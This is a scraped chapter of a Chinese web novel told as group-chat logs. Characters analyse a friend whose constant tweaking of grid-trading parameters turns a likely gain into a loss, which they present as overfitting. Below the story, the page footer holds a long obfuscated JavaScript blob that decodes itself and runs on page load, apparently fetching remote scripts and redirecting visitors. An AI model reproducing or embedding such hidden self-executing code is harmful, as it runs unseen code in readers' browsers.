首页
[切换至繁体版]
返回

第92章 跟风者B频繁调参数,收益反降

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第92章跟风者B频繁调参数,收益反降(第1/2页)
    2027年1月11日星期二晚上20:00
    ------
    【群聊记录】
    时间:20:00
    明觉:晚间复盘。上周论及“跟风者A”之鉴,余音未绝。然“模仿”之歧路,非止一途。@小牛快跑兄,前番分享阿强案例,今可有后续?或有他例,可资镜鉴?
    锅王:对决第三十一周。这周市场震荡回调,我的票也跟着跌了点,总收益+1.2%,回吐一些。没操作,按计划拿着。@小牛快跑你那个朋友阿强怎么样了?听劝了吗?
    降龙十八掌:本周市场在连续上涨后出现技术性回调,我的“情绪指标”回落至中性区间,系统未触发特殊调整,净值随市回撤。行为金融学中,“过度自信”和“行动偏好”是常见偏差,在模仿学习者中尤为突出。小牛兄,除阿强外,是否观察到其他因“过度行动”而导致问题的案例?
    巴派谪传弟子-老金:我的网格这周在回调中触发两次买入,用掉点现金。安全垫厚度微降至-2.0%,但心态平稳。小牛兄弟身边,好像想学投资的人还不少?
    小牛快跑:(在众人询问后,发了一个“捂脸”的表情)在。阿强……我把我整理好的聊天记录发给他了,他看了,回复说“有点道理,我再想想”。就没下文了。估计还在纠结。不过,这几天我又碰到另一个例子,是我一个大学同学,在另一个城市,线上聊的。我也叫他“小张”。他的情况,跟阿强不太一样,但我觉得问题可能……更普遍,也更隐蔽。
    小牛快跑:小张是理工科出身,做数据分析的,逻辑思维强,也喜欢钻研。他大概两个月前,通过别的地方看到贝老师关于网格交易的介绍,很感兴趣。他觉得这个策略“有数据、有规则、可量化”,正对他的胃口。他没用大资金,而是拿了两万块,开了个账户,认认真真地开始研究网格策略。
    小牛快跑:一开始,他做得有模有样。研究了沪深300ETF的历史波动率,用统计方法算了一个“最优”网格间距,设定了初始参数,然后开始运行。头两周,市场小幅震荡,他的网格赚了点小钱,他很兴奋,觉得找到了“圣杯”。
    但问题就出在他这个“钻研”和“优化”上。
    小牛快跑:他大概每隔一两周,甚至几天,就会根据最新的市场走势和他看到的一些文章、视频,去调整他的网格参数。比如:
    第一周:初始间距设的1.5%。
    第二周:看到市场波动似乎变大了,他觉得1.5%太“保守”,错过机会,于是把间距缩小到1.2%,想赚更频繁的价差。
    第三周:缩小间距后,市场却走出了一小段趋势,他的网格很快卖飞了不少筹码,他觉得“卖飞了是因为间距太小”,又把间距改回1.5%,但把每格买入金额调高了20%,想“跌的时候多买点”。
    第四周:市场回调,他调高买入金额后,很快用掉了不少现金,有点慌,又觉得现金储备不足,于是暂停了网格买入,并把间距临时扩大到2.0%,想“等企稳”。
    第五周:市场企稳反弹,他的2.0%间距导致网格很久没触发交易,看着别人赚钱,他又觉得“效率太低”,把间距调回1.5%,但同时设置了“动态间距”——根据过去5天的波动率自动调整。
    ……如此循环往复。
    小牛快跑:他每次调整,都有他的“理由”和“数据支持”(比如最近5天的波动率、某个技术指标的变化、某篇研报的观点)。他觉得他在“优化”系统,让系统更“适应”市场。他还自己写了个Excel表格,记录每次参数调整和理由。
    但结果呢?从开始到现在两个月,沪深300ETF先涨后跌再涨,整体是微涨的。如果他从一开始就坚持他那套最初的、基于历史数据回测的“最优参数”,到现在应该能赚3-4%左右(价差+底仓上涨)。但因为他频繁调整,他的实际账户总收益是-1.5%。不仅没赚钱,还略亏。
    小牛快跑:我仔细分析了他的交易记录(他愿意分享),发现问题:
    1.高昂的交易成本:因为频繁调整参数,导致网格触发条件变化,他经常在调整后不久,就因为参数变化而触发反向操作(比如刚调小间距触发卖出,没多久又调大间距,在类似价位又触发买入),产生大量不必要的买入卖出,光是手续费和滑点就侵蚀了不少利润。
    2.“优化”的悖论:他每次调整,都是为了“优化”上一个参数在最近表现中的“不足”。但市场是变化的,他永远在追逐上一段行情的“最优解”,而无法把握任何一段完整的行情。这就像不断根据刚刚走过的路况来调整方向盘,而不是按照地图和既定路线驾驶,车子必然左摇右晃,效率低下。
    3.没有“坚持”任何一套规则:任何策略,无论是网格、定投还是其他,其长期有效的前提是“一致性”,即在足够长的时间周期内,执行同一套有正期望值的规则。小张的规则每天都在变,他实际上没有策略,只是在做“参数化的感觉交易”——用看似科学的方法,包装他随市场波动而产生的贪婪与恐惧(怕错过机会就调小间距,怕跌就调大间距或暂停)。
    4.忽略了策略的“整体性”和“周期性”:网格策略的优势在于长期坚持下的成本摊薄和现金流,它必然会在某些阶段表现不佳(如单边市)。小张试图通过频繁调参来规避每一段“不佳”,这等于放弃了网格策略的核心逻辑,同时也无法获得任何其他策略的优势(因为他没有转向其他策略,只是在扭曲网格)。
    小牛快跑:小张很苦恼,他问我:“我这么努力地优化,为什么结果还不如简单拿着?是我的模型不对,还是数据不够?”我觉得,他可能掉进了另一个坑。贝老师,各位老师,小张这种情况,是不是另一种典型的“学偏了”?他看起来很理性、很努力,但好像劲儿使错了地方?
    锅王:我靠!这不就是“数据分析型强迫症”吗?我以前也干过,看了一堆指标,金叉死叉,MACD背离,一会儿改这个参数,一会儿加那个条件,总想找到一个“必胜公式”。结果电脑屏幕上一堆线,账户里一堆亏损。这小张兄弟,把网格也当成“指标”来优化了。他不知道,策略是用来执行的,不是用来天天改的!你改得再勤,能快过市场变化?这就是“聪明反被聪明误”啊!
    老金:哎,我也有点共鸣。我刚开始设网格的时候,也老想调。跌了就想“是不是间距设大了?要不要改小点多买点?”;涨了就想“是不是设小了?改大点让利润多跑跑”。后来看了贝老师和大家的讨论,特别是那次“卖飞”的计算和反思后,我才明白,网格的参数,就像给自己定的“法律”,不能朝令夕改。定下来,就要执行一段时间(至少一个季度或半年),让市场去检验,而不是自己天天当“修法委员”。小张的问题,是太“勤快”了,勤快错了地方。他应该把“勤快”用在坚持执行和记录上,而不是调参数上。
    降龙十八掌:非常典型的“过度优化”或“样本内过拟合”案例。小张的行为,本质上是将他有限的样本(近期市场数据)作为优化目标,不断调整模型参数以拟合这段样本。这必然导致模型在样本内表现“看似优化”,但在样本外(未来市场)表现不佳,甚至因频繁交易和策略漂移而产生负收益。在量化领域,这被称为“回测中的过度拟合陷阱”和“实盘中的策略漂移风险”。任何策略参数,都必须基于长期历史数据和稳健性检验,并在实盘中保持相对稳定,才能评估其真实效果。小张的“优化”过程,实际上是在不断引入新的、未经长期检验的变量,破坏了策略的“一致性”和“可评估性”。他的收益反降,是数学上的必然。
    稳如泰山:这是“技术迷恋”和“确定性幻觉”的结合。小张试图用更精细的参数控制,来应对市场的不确定性,追求一种“无论市场怎么走,我的参数都能完美适应”的幻觉。这忽略了策略的“适应性”与“稳定性”之间的根本矛盾。过度追求短期适应性,必然牺牲长期稳定性,并付出高昂的交易成本和认知负荷。在系统设计中,这被称为“过度工程化”——用复杂的、频繁的调整,去解决一个简单规则在长期执行中自然就能消化的问题。小张需要明白,有时候,“少做”比“多做”更有效,“坚持”比“优化”更重要。
    明觉:善哉!此例可名为“勤政之弊”。阿强之失,在“怠”于学本;小张之失,在“勤”于改末。本者,体系之道、坚守之规也;末者,参数之数、枝叶之调也。小张兄,以数据分析之智,行朝三暮四之事;以优化系统之名,坏系统运行之基。夫网格之道,贵在“恒”与“信”。恒者,参数既定,风雨不改;信者,信其长期逻辑,不疑于短期起伏。若因一时之波澜,辄改航道,则永无到岸之期。昔孔子云:“无欲速,无见小利。欲速则不达,见小利则大事不成。”小张之“勤调参数”,正是“欲速”、“见小利”也,故“收益反降”,大事不成。诸君当深戒之。
    消息大王:我好像有点懂了。我看财报,如果看一家公司,今天用这个方法算,明天听别人说换个方法更好,就又换一种算法,那我永远也得不出一个稳定的结论。得先坚持用一种方法,看懂、用熟,才能比较。
    小明:这个案例对我冲击很大。因为我也是理工背景,很容易陷入“追求最优解”的思维陷阱。小张的经历提醒我,投资不是解数学题,没有“最优参数”,只有“足够好且能坚持执行的规则”。追求虚无缥缈的“最优”,反而会毁掉手中“足够好”的策略。谢谢分享。
    贝悟得:感谢小牛兄再次分享一个极具教学意义的案例。小张的经历,完美地诠释了投资学习道路上另一个极其危险、且颇具迷惑性的误区——“参数化生存”谬误,或者说“过度优化陷阱”。他与阿强看似走了不同的路(一个盲目抄结果,一个痴迷调参数),但根源相似:都试图绕过投资中最艰难、最核心的部分——建立对体系的信仰,并培养执行体系的纪律。
    贝悟得:我们来深入分析小张的问题:
    一、认知误区:将“投资体系”等同于“可优化参数模型”
    小张是典型的“工程师思维”在投资中的误用。他正确地认识到投资需要系统化、规则化,但他错误地将“系统”简化为一组“可调参数”。
    1.忽略了体系的“层次性”:一个完整的投资体系,如“三维二元一念”,包含哲学层(理念、目标)、战略层(资产配置、仓位管理)、战术层(具体策略如网格)、执行层(参数、条件单)。参数属于最底层的执行层。小张不断地在战术层/执行层进行微调,却从未深入思考上层的哲学和战略是否稳固、是否自洽。这如同不断调试汽车发动机的点火时间,却从不检查油箱是否有油、方向盘是否握稳、目的地是否清晰。
    (本章未完,请点击下一页继续阅读)第92章跟风者B频繁调参数,收益反降(第2/2页)
    2.误解了“优化”的对象:投资的“优化”,首要和核心的对象应该是投资者自身——优化认知、优化心态、优化纪律、优化决策流程。其次才是策略参数的长期、缓慢、基于大量数据回测的审慎调整。小张的“优化”完全本末倒置,他试图用参数的变动,来替代自身的修炼和提升。
    二、行为偏差:行动偏好与后视镜优化
    1.行动偏好:人类天生有“做点什么”的冲动,尤其在面对不确定性时。频繁调参给了小张一种“我在积极管理、我在解决问题”的控制感幻觉,这能暂时缓解面对市场不确定性的焦虑。但事实上,大部分“行动”是无效甚至有害的噪声。
    2.后视镜优化:小张的每次参数调整,几乎都是基于已经发生的行情做出的。他根据“最近波动大”调小间距,根据“卖飞了”调大间距……这完全是“看着后视镜开车”。市场下一步会怎么走?无人知晓。根据过去调整参数以期适应未来,本质是预测,而这恰恰是体系化投资试图避免的。
    三、策略破坏:摧毁了策略的“一致性与统计显著性”
    任何具有正期望值的策略,其有效性都需要在长期、一致的执行中,通过大量交易样本才能显现出来(大数定律)。网格策略的利润来源于长期震荡中“高抛低吸”的累积效应,其优势在于“傻傻地执行”,而不在于“聪明地预判”。
    小张频繁调参,导致他的策略始终处于“婴儿期”,没有任何一套参数有机会经历完整的市场周期检验。他无法积累足够的、在同一规则下的交易样本,因此也无法获得该规则应有的统计优势。
    他实际上是在不断切换到一个个未经检验的新策略上,每次切换都伴随着学习成本、适应成本和潜在的错误。其最终结果,必然是这些不成熟策略的缺点(交易成本、不适应期)的叠加,而无法享受任何一个策略长期执行
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();